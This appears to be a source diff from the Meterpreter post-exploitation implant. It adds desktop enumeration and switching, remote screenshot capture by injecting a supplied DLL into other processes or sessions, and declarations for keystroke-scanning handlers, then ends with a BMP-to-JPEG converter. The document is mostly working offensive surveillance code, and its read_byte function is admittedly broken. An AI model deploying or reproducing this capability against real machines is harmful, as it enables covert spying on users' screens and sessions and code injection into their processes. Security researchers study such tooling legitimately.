DWORD dwSessionId = 0;
do
{
dl = (DESKTOPLIST *)lpParam;
if( !dl )
break;
if( !dl->cpStationName || !dl->response || !cpDesktopName )
break;
dwSessionId = htonl( dl->dwSessionId );
entry[0].header.type = TLV_TYPE_DESKTOP_SESSION;
entry[0].header.length = sizeof(DWORD);
entry[0].buffer = (PUCHAR)&dwSessionId;
entry[1].header.type = TLV_TYPE_DESKTOP_STATION;
entry[1].header.length = (DWORD)(strlen(dl->cpStationName) + 1);
entry[1].buffer = (PUCHAR)dl->cpStationName;
entry[2].header.type = TLV_TYPE_DESKTOP_NAME;
entry[2].header.length = (DWORD)(strlen(cpDesktopName) + 1);
entry[2].buffer = (PUCHAR)cpDesktopName;
packet_add_tlv_group( dl->response, TLV_TYPE_DESKTOP, entry, 3 );
} while( 0 );
return TRUE;
}
/*
* Callback function for EnumWindowStations when listing stations during request_ui_desktop_enum().
*/
BOOL CALLBACK desktop_enumstations_callback( LPTSTR cpStationName, LPARAM param )
{
HWINSTA hWindowStation = NULL;
DESKTOPLIST dl = {0};
do
{
hWindowStation = OpenWindowStation( cpStationName, FALSE, MAXIMUM_ALLOWED ); // WINSTA_ALL_ACCESS
if( !hWindowStation )
break;
dl.dwSessionId = session_id( GetCurrentProcessId() );
dl.response = (Packet *)param;
dl.cpStationName = cpStationName;
EnumDesktops( hWindowStation, desktop_enumdesktops_callback, (LPARAM)&dl );
} while( 0 );
if( hWindowStation )
CloseWindowStation( hWindowStation );
return TRUE;
}
/*
* Enumerate all accessible desktops on all stations.
*/
DWORD request_ui_desktop_enum( Remote * remote, Packet * request )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
do
{
response = packet_create_response( request );
if( !response )
BREAK_WITH_ERROR( "[UI] desktop_enum. packet_create_response failed", ERROR_INVALID_HANDLE );
EnumWindowStations( desktop_enumstations_callback, (LPARAM)response );
} while( 0 );
if( response )
packet_transmit_response( dwResult, remote, response );
return ERROR_SUCCESS;
}
/*
* Get the session/windows station/desktop we are currently using.
*/
DWORD request_ui_desktop_get( Remote * remote, Packet * request )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
do
{
response = packet_create_response( request );
if( !response )
BREAK_WITH_ERROR( "[UI] desktop_get. packet_create_response failed", ERROR_INVALID_HANDLE );
lock_acquire( remote->lock );
packet_add_tlv_uint( response, TLV_TYPE_DESKTOP_SESSION, remote->dwCurrentSessionId );
packet_add_tlv_string( response, TLV_TYPE_DESKTOP_STATION, remote->cpCurrentStationName );
packet_add_tlv_string( response, TLV_TYPE_DESKTOP_NAME, remote->cpCurrentDesktopName );
lock_release( remote->lock );
} while( 0 );
if( response )
packet_transmit_response( dwResult, remote, response );
return ERROR_SUCCESS;
}
/*
* Set this process to use a specified window station and this thread to use
* a specified desktop.
*/
DWORD request_ui_desktop_set( Remote * remote, Packet * request )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
char * cpDesktopName = NULL;
char * cpStationName = NULL;
HWINSTA hWindowStation = NULL;
HWINSTA hOrigWindowStation = NULL;
HDESK hDesktop = NULL;
BOOL bSwitch = FALSE;
DWORD dwSessionId = 0;
do
{
response = packet_create_response( request );
if( !response )
BREAK_WITH_ERROR( "[UI] desktop_set. packet_create_response failed", ERROR_INVALID_HANDLE );
dwSessionId = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SESSION );
if( !dwSessionId )
BREAK_WITH_ERROR( "[UI] desktop_set. no TLV_TYPE_DESKTOP_SESSION provided", ERROR_INVALID_PARAMETER );
if( dwSessionId == -1 )
dwSessionId = session_id( GetCurrentProcessId() );
cpStationName = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_STATION );
if( !cpStationName )
BREAK_WITH_ERROR( "[UI] desktop_set. no TLV_TYPE_DESKTOP_STATION provided", ERROR_INVALID_PARAMETER );
cpDesktopName = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_NAME );
if( !cpDesktopName )
BREAK_WITH_ERROR( "[UI] desktop_set. no TLV_TYPE_DESKTOP_NAME provided", ERROR_INVALID_PARAMETER );
bSwitch = packet_get_tlv_value_bool( request, TLV_TYPE_DESKTOP_SWITCH );
dprintf( "[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch );
// If we are switching desktop in our own session we proceed with the normal Windows API
if( dwSessionId == session_id( GetCurrentProcessId() ) )
{
hWindowStation = OpenWindowStation( cpStationName, FALSE, WINSTA_ALL_ACCESS ); // WINSTA_ALL_ACCESS MAXIMUM_ALLOWED
if( !hWindowStation )
{
if( RevertToSelf() )
hWindowStation = OpenWindowStation( cpStationName, FALSE, WINSTA_ALL_ACCESS );
}
if( !hWindowStation )
BREAK_WITH_ERROR( "[UI] desktop_set. Couldnt get the new Window Station", ERROR_INVALID_HANDLE );
hOrigWindowStation = GetProcessWindowStation();
if( !SetProcessWindowStation( hWindowStation ) )
BREAK_ON_ERROR( "[UI] desktop_set. SetProcessWindowStation failed" );
hDesktop = OpenDesktop( cpDesktopName, 0, FALSE, GENERIC_ALL );
if( !hDesktop )
BREAK_ON_ERROR( "[UI] desktop_set. OpenDesktop failed" );
if( !SetThreadDesktop( hDesktop ) )
BREAK_ON_ERROR( "[UI] desktop_set. SetThreadDesktop failed" );
if( bSwitch )
{
if( !SwitchDesktop( hDesktop ) )
BREAK_ON_ERROR( "[UI] desktop_set. SwitchDesktop failed" );
}
core_update_desktop( remote, dwSessionId, cpStationName, cpDesktopName );
}
else
{
// if we are to use a desktop from a session which is not our own...
BREAK_WITH_ERROR( "[UI] desktop_set. Currently unable to set a desktop from an external session", ERROR_ACCESS_DENIED );
}
} while( 0 );
if( response )
packet_transmit_response( dwResult, remote, response );
if( hDesktop )
CloseDesktop( hDesktop );
if( hWindowStation )
CloseWindowStation( hWindowStation );
if( hOrigWindowStation )
SetProcessWindowStation( hOrigWindowStation );
if( dwResult != ERROR_SUCCESS )
core_update_desktop( remote, -1, NULL, NULL );
return ERROR_SUCCESS;
}
/*
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
* screenshot for the first client which connects to it.
*/
DWORD THREADCALL desktop_screenshot_thread( THREAD * thread )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hServerPipe = NULL;
HANDLE hToken = NULL;
char * cpNamedPipe = NULL;
Packet * response = NULL;
BYTE * pBuffer = NULL;
DWORD dwRead = 0;
DWORD dwLength = 0;
DWORD dwTotal = 0;
do
{
if( !thread )
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. invalid thread", ERROR_BAD_ARGUMENTS );
cpNamedPipe = (char *)thread->parameter1;
response = (Packet *)thread->parameter2;
if( !cpNamedPipe || !response )
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS );
dprintf("[UI] desktop_screenshot_thread. cpNamedPipe=%s", cpNamedPipe );
// create the named pipe for the client service to connect to
hServerPipe = CreateNamedPipe( cpNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL );
if( !hServerPipe )
BREAK_ON_ERROR( "[UI] desktop_screenshot_thread. CreateNamedPipe failed" );
while( TRUE )
{
if( event_poll( thread->sigterm, 0 ) )
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD );
// wait for a client to connect to our named pipe...
if( !ConnectNamedPipe( hServerPipe, NULL ) )
{
if( GetLastError() != ERROR_PIPE_CONNECTED )
continue;
}
dprintf("[UI] desktop_screenshot_thread. got client conn.");
if( !ReadFile( hServerPipe, &dwLength, sizeof(DWORD), &dwRead, NULL ) )
BREAK_ON_ERROR( "[UI] desktop_screenshot_thread. ReadFile 1 failed" );
// a client can send a zero length to indicate that it cant get a screenshot.
if( !dwLength )
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. dwLength == 0", ERROR_BAD_LENGTH );
pBuffer = (BYTE *)malloc( dwLength );
if( !pBuffer )
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE );
while( dwTotal < dwLength )
{
DWORD dwAvailable = 0;
if( !PeekNamedPipe( hServerPipe, NULL, 0, NULL, &dwAvailable, NULL ) )
break;
if( !dwAvailable )
{
Sleep( 100 );
continue;
}
if( !ReadFile( hServerPipe, (LPVOID)(pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL ) )
break;
dwTotal += dwRead;
}
dwResult = packet_add_tlv_raw( response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal );
break;
}
} while( 0 );
if( hServerPipe )
{
DisconnectNamedPipe( hServerPipe );
CLOSE_HANDLE( hServerPipe );
}
if( pBuffer )
free( pBuffer );
dprintf( "[UI] desktop_screenshot_thread finishing, dwResult=%d", dwResult );
return dwResult;
}
/*
* Take a screenshot of the desktop and transmit the image (in JPEG format) back to the client.
*/
DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
THREAD * pPipeThread = NULL;
LPVOID lpDllBuffer = NULL;
DLL_BUFFER DllBuffer = {0};
char cNamedPipe[MAX_PATH] = {0};
char cCommandLine[MAX_PATH] = {0};
int quality = 0;
DWORD dwDllLength = 0;
DWORD dwPipeName = 0;
DWORD dwCurrentSessionId = 0;
DWORD dwActiveSessionId = 0;
do
{
response = packet_create_response( request );
if( !response )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. packet_create_response failed", ERROR_INVALID_HANDLE );
quality = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY );
if( quality < 1 || quality > 100 )
quality = 50;
// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system
// we dont need to send the x64 screenshot dll as there will be no x64 processes to inject it into.
DllBuffer.dwPE32DllLenght = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH );
DllBuffer.lpPE32DllBuffer = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER );
DllBuffer.dwPE64DllLenght = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH );
DllBuffer.lpPE64DllBuffer = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER );
if( !DllBuffer.lpPE32DllBuffer && !DllBuffer.lpPE64DllBuffer )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. Invalid dll arguments, at least 1 dll must be supplied", ERROR_BAD_ARGUMENTS );
// get the session id that our host process belongs to
dwCurrentSessionId = session_id( GetCurrentProcessId() );
// get the session id for the interactive session
dwActiveSessionId = session_activeid();
// create a uniuqe pipe name for our named pipe server
dwPipeName = GetTickCount();
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );
// create the commandline to pass to the screenshot dll when we inject it
_snprintf( cCommandLine, MAX_PATH, "/s /q:%d /p:0x%08X\x00", quality, dwPipeName );
dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine );
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response );
if( !pPipeThread )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE );
if( !thread_run( pPipeThread ) )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_run failed", ERROR_ACCESS_DENIED );
Sleep( 500 );
// do the local process or session injection
if( dwCurrentSessionId != dwActiveSessionId )
{
dprintf( "[UI] desktop_screenshot. Injecting into active session %d...\n", dwActiveSessionId );
if( session_inject( dwActiveSessionId, &DllBuffer, cCommandLine ) != ERROR_SUCCESS )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. session_inject failed", ERROR_ACCESS_DENIED );
}
else
{
dprintf( "[UI] desktop_screenshot. Allready in the active session %d.\n", dwActiveSessionId );
if( ps_inject( GetCurrentProcessId(), &DllBuffer, cCommandLine ) != ERROR_SUCCESS )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. ps_inject current process failed", ERROR_ACCESS_DENIED );
}
// Wait for at most 30 seconds for the screenshot to happen...
// If we have injected our code via APC injection, it may take a while for the target
// thread to enter an alertable state and get our queued APC executed.
WaitForSingleObject( pPipeThread->handle, 30000 );
// signal our thread to terminate if it is still running.
thread_sigterm( pPipeThread );
// and wait for it to terminate...
thread_join( pPipeThread );
// get the exit code for our pthread
if( !GetExitCodeThread( pPipeThread->handle, &dwResult ) )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. GetExitCodeThread failed", ERROR_INVALID_HANDLE );
} while( 0 );
if( response )
packet_transmit_response( dwResult, remote, response );
if( pPipeThread )
{
thread_sigterm( pPipeThread );
thread_join( pPipeThread );
thread_destroy( pPipeThread );
}
return dwResult;
}

View File

@ -37,60 +37,6 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request)
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/*
* Hijacks the active input desktop
*/
DWORD request_ui_grabdesktop(Remote *remote, Packet *request)
{
Packet *response = packet_create_response(request);
DWORD result = ERROR_SUCCESS;
DWORD failed = 0;
HDESK desk;
HWINSTA os = GetProcessWindowStation();
HWINSTA ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED);
if (ws == NULL) {
// This call to RevertToSelf() is sometimes necessary
RevertToSelf();
ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED);
}
if (ws == NULL) {
failed = 1;
} else {
if (! SetProcessWindowStation(ws)) {
ws = NULL;
failed = 1;
} else {
// Close this to prevent the old handle from being used instead
CloseWindowStation(os);
}
}
desk = OpenInputDesktop(0, TRUE, MAXIMUM_ALLOWED);
if (ws && desk == NULL) {
CloseHandle(ws);
failed = 1;
}
if (desk && ! SwitchDesktop(desk)) {
CloseHandle(ws);
CloseHandle(desk);
failed = 1;
}
SetThreadDesktop(desk);
if (failed) result = GetLastError();
// Transmit the response
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
typedef enum { false=0, true=1 } bool; typedef enum { false=0, true=1 } bool;
bool boom[1024]; bool boom[1024];

View File

@ -7,9 +7,13 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request);
DWORD request_ui_enable_mouse(Remote *remote, Packet *request); DWORD request_ui_enable_mouse(Remote *remote, Packet *request);
DWORD request_ui_get_idle_time(Remote *remote, Packet *request); DWORD request_ui_get_idle_time(Remote *remote, Packet *request);
DWORD request_ui_grabdesktop(Remote *remote, Packet *request);
DWORD request_ui_start_keyscan(Remote *remote, Packet *request); DWORD request_ui_start_keyscan(Remote *remote, Packet *request);
DWORD request_ui_stop_keyscan(Remote *remote, Packet *request); DWORD request_ui_stop_keyscan(Remote *remote, Packet *request);
DWORD request_ui_get_keys(Remote *remote, Packet *request); DWORD request_ui_get_keys(Remote *remote, Packet *request);
DWORD request_ui_desktop_enum( Remote * remote, Packet * request );
DWORD request_ui_desktop_get( Remote * remote, Packet * request );
DWORD request_ui_desktop_set( Remote * remote, Packet * request );
DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request );
#endif #endif

View File

@ -67,10 +67,12 @@
// Process // Process
#define PROCESS_EXECUTE_FLAG_HIDDEN (1 << 0) #define PROCESS_EXECUTE_FLAG_HIDDEN (1 << 0)
#define PROCESS_EXECUTE_FLAG_CHANNELIZED (1 << 1) #define PROCESS_EXECUTE_FLAG_CHANNELIZED (1 << 1)
#define PROCESS_EXECUTE_FLAG_SUSPENDED (1 << 2) #define PROCESS_EXECUTE_FLAG_SUSPENDED (1 << 2)
#define PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN (1 << 3) #define PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN (1 << 3)
#define PROCESS_EXECUTE_FLAG_DESKTOP (1 << 4)
#define PROCESS_EXECUTE_FLAG_SESSION (1 << 5)
#define TLV_TYPE_BASE_ADDRESS \ #define TLV_TYPE_BASE_ADDRESS \
MAKE_CUSTOM_TLV( \ MAKE_CUSTOM_TLV( \
@ -157,6 +159,11 @@
TLV_META_TYPE_UINT, \ TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_STDAPI, \ TLV_TYPE_EXTENSION_STDAPI, \
2307) 2307)
#define TLV_TYPE_PROCESS_SESSION \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_STDAPI, \
2308)
#define TLV_TYPE_IMAGE_FILE \ #define TLV_TYPE_IMAGE_FILE \
MAKE_CUSTOM_TLV( \ MAKE_CUSTOM_TLV( \
@ -427,6 +434,18 @@
TLV_TYPE_EXTENSION_STDAPI, \ TLV_TYPE_EXTENSION_STDAPI, \
3001) 3001)
#define TLV_TYPE_DESKTOP_SCREENSHOT MAKE_CUSTOM_TLV( TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_STDAPI, 3002 )
#define TLV_TYPE_DESKTOP_SWITCH MAKE_CUSTOM_TLV( TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_STDAPI, 3003 )
#define TLV_TYPE_DESKTOP MAKE_CUSTOM_TLV( TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_STDAPI, 3004 )
#define TLV_TYPE_DESKTOP_SESSION MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3005 )
#define TLV_TYPE_DESKTOP_STATION MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3006 )
#define TLV_TYPE_DESKTOP_NAME MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3007 )
#define TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3008 )
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3009 )
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3010 )
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3011 )
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3012 )
// Event Log // Event Log
#define TLV_TYPE_EVENT_SOURCENAME \ #define TLV_TYPE_EVENT_SOURCENAME \
MAKE_CUSTOM_TLV( \ MAKE_CUSTOM_TLV( \

View File

@ -0,0 +1,880 @@
#include "screenshot.h"
#include "bmp2jpeg.h"
/*
* Please Note: bmp2jpeg.c and bmp2jpeg.h have been coppied over from screen.c
* screen.h in the espia extension. The origional author of espia is Efrain Torres
* and a patch for JPEG suport was provided by Brett Blackham.
*/
/* Function modified to store bitmap in memory. et [ ] metasploit.com
======================================================================
Saves a bitmap to a file
The following function was adopted from pywin32, and is thus under the
following copyright:
Copyright (c) 1994-2008, Mark Hammond
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
Neither name of Mark Hammond nor the name of contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* The JPEG lib is from the Independent JPEG Group (IJG)
* http://www.ijg.org/
*
* The jpeg lib included in source/jpeg-8/ has a small modification to the
* rdbmp.c example to support 32 BMP files. That modification was submitted
* to the IJG to be included in future releases. The only other change to
* JPEG library was to the makefile so the library would link to
* meterperter without warning/error.
*
* Most the JPEG code used in espia is taken from the rdbmp.c example from
* source/jpeg-8/.
*
* from the JPEG README:
* You are welcome to redistribute this software and
* to use it for any purpose, subject to the conditions under LEGAL ISSUES, below.
*
* ...
*
* This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone,
* Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson,
* Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers,
* and other members of the Independent JPEG Group.
*
*
* LEGAL ISSUES
* ============
*
* In plain English:
*
* 1. We don't promise that this software works. (But if you find any bugs,
* please let us know!)
* 2. You can use this software for whatever you want. You don't have to pay us.
* 3. You may not pretend that you wrote this software. If you use it in a
* program, you must acknowledge somewhere in your documentation that
* you've used the IJG code.
*
* (The "non-english" version can be found in the ../../srouce/jpeg-8/README file)
*/
#ifdef HAVE_UNSIGNED_CHAR
typedef unsigned char U_CHAR;
#define UCH(x) ((int) (x))
#else /* !HAVE_UNSIGNED_CHAR */
#ifdef CHAR_IS_UNSIGNED
typedef char U_CHAR;
#define UCH(x) ((int) (x))
#else
typedef char U_CHAR;
#define UCH(x) ((int) (x) & 0xFF)
#endif
#endif /* HAVE_UNSIGNED_CHAR */
/*
* This function taken from the JPEG-8 example file rdbmp.c provided a
* platform idenependant way to read files...
* But, we "reading" from memory. So, return the current byte
* in the buf and inc the pointer so it "feels" like an fopen read.
*/
int ReadOK(bmp_source_ptr sinfo, char* buffer,int len)
{
memcpy(buffer, sinfo->pub.input_buf + sinfo->pub.read_offset, len);
sinfo->pub.read_offset += len;
return 1; // yeah, it always works cuz I say so..
}
/*
* Like ReadOK, this would read from a file. But we aren't reading a file.
* So, return the current byte in the buf and inc the pointer.
* WARNING: I don't think this function is working. (My guess: read_offset++)
* However, it just so happens since Windows 7 (and I think all the windows)
* screenshots always return a 32 bit BMP, the code never calls this function.
*
*/
int read_byte (bmp_source_ptr sinfo)
{
return (int)sinfo->pub.input_buf + sinfo->pub.read_offset++;
}
/*
* Since I think windows screenshot is always a 32bit BMP this function
* will never be used, however, I am leaving it here in case there is a
* version of windows that does return a 8bit indexed BMP. Once it is
* confirmed that all windows use 32bit BMPs, I'll remove this.
*
* How does a BMP look you ask?
* see: http://local.wasp.uwa.edu.au/~pbourke/dataformats/bitmaps/
*/
void read_colormap (bmp_source_ptr sinfo, int cmaplen, int mapentrysize)
{
int i;
switch (mapentrysize) {
case 3:
/* BGR format (occurs in OS/2 files) */
for (i = 0; i < cmaplen; i++) {
sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo);
}
break;
case 4:
/* BGR0 format (occurs in MS Windows files) */
for (i = 0; i < cmaplen; i++) {
sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo);
(void) read_byte(sinfo);
}
break;
default:
return; //ERREXIT(sinfo->cinfo, JERR_BMP_BADCMAP);
break;
}
}
/*
* Used to help convert 16 bit BMP
* Taken from: http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit
*
* BUG: I haven't been able to figure out the correct format of the BMP in memory.
* Not sure if its 565 or 555. Nor am I sure if its rgb or bgr or what. Also
* I can't say I'm sure which order the two 8 bits that make up the unsigned
* short "a" should come in. As it is now, this will send back a valid JPEG.
* But, the colors won't be exact.
*/
unsigned long rgb16_to_rgb32(unsigned short a)
{
/* 1. Extract the red, green and blue values */
/* (555) from bbbb bggg ggrr rrr0 */
unsigned long b = (a & 0xF800) >> 11;
unsigned long g = (a & 0x07C0) >> 6;
unsigned long r = (a & 0x003E) >> 1;
/* (565) from rrrr rggg gggb bbbb */
// unsigned long r = (a & 0xF800) >> 11;
// unsigned long g = (a & 0x07E0) >> 5;
// unsigned long b = (a & 0x001F);
/* (555) from 0rrr rrgg gggb bbbb */
// unsigned long r = (a & 0x7C00) >> 10;
// unsigned long g = (a & 0x03E0) >> 5;
// unsigned long b = (a & 0x001F);
/* (555) from 0bbb bbgg gggr rrrr */
//unsigned long b = (a & 0x7C00) >> 10;
//unsigned long g = (a & 0x03E0) >> 5;
//unsigned long r = (a & 0x001F);
/* (555) from rrrr rggg ggbb bbb0 */
//unsigned long r = (a & 0xF800) >> 11;
//unsigned long g = (a & 0x07C0) >> 6;
//unsigned long b = (a & 0x003E) >> 1;
/* (565) from bbbb bggg gggr rrrr */
//unsigned long b = (a & 0xF800) >> 11;
//unsigned long g = (a & 0x07E0) >> 5;
//unsigned long r = (a & 0x001F);
/* 2. Convert them to 0-255 range:
There is more than one way. You can just shift them left:
to 00000000 rrrrr000 gggggg00 bbbbb000
r <<= 3;
g <<= 2;
b <<= 3;
But that means your image will be slightly dark and
off-colour as white 0xFFFF will convert to F8,FC,F8
So instead you can scale by multiply and divide: */
r <<= 3;
//g <<= 2; //(565)
g <<=3; //(555)
b <<= 3;
//r = r * 255 / 31;
//g = g * 255 / 63; //(565)
////g = g * 255 / 31; //(555)
//b = b * 255 / 31;
/* This ensures 31/31 converts to 255/255 */
/* 3. Construct your 32-bit format (this is 0RGB): */
//return (r << 16) | (g << 8) | b;
// This is 0RBG?? Yeah, it makes no sense to me either.
return (r << 16) | (b << 8) | g;
/* Or for BGR0: */
//return (r << 8) | (g << 16) | (b << 24);
}
/*
* Read one row of pixels.
* The image has been read into the whole_image array, but is otherwise
* unprocessed. We must read it out in top-to-bottom row order, and if
* it is an 8-bit image, we must expand colormapped pixels to 24bit format.
*
* NOTE: Again, windows might only ever use 32bit BMP's making this function
* useless. However, I'll leave it here until I can confirm that.
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*/
JDIMENSION get_8bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 8-bit colormap indexes */
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
register JSAMPARRAY colormap = source->colormap;
JSAMPARRAY image_ptr;
register int t;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Expand the colormap indexes to real data */
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
t = GETJSAMPLE(*inptr++);
*outptr++ = colormap[0][t]; /* can omit GETJSAMPLE() safely */
*outptr++ = colormap[1][t];
*outptr++ = colormap[2][t];
}
return 1;
}
/*
*
* NOTE: Damn it, windows uses what ever the colors option is set to-
* High Color (16 bit)
* True Color (32 bit)
* Who the hell would use High Color? PDA's?
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*
* Dev notes:
* http://www.winehq.org/pipermail/wine-patches/2005-August/020010.html
* http://www.cpp-home.com/tutorials/246_2.htm
* http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit
*/
JDIMENSION get_16bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
JSAMPARRAY image_ptr;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
unsigned long bit32_pix;
char a,b;
char *pix_ptr;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Transfer data. Note source values are in BGR order
* (even though Microsoft's own documents say the opposite).
*/
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
// Need to pull 16 bits at a time.
a = *inptr++; // First 8
b = *inptr++; // Second 8
bit32_pix = rgb16_to_rgb32( a << 8 | b ); //Send all 16bits to be converted
pix_ptr = (char *)&bit32_pix;
outptr[2] = *pix_ptr++;
outptr[1] = *pix_ptr++;
outptr[0] = *pix_ptr++;
outptr += 3;
}
return 1;
}
/*
*
* NOTE: Again, windows might only ever use 32bit BMP's making this function
* useless. However, I'll leave it here until I can confirm that.
*
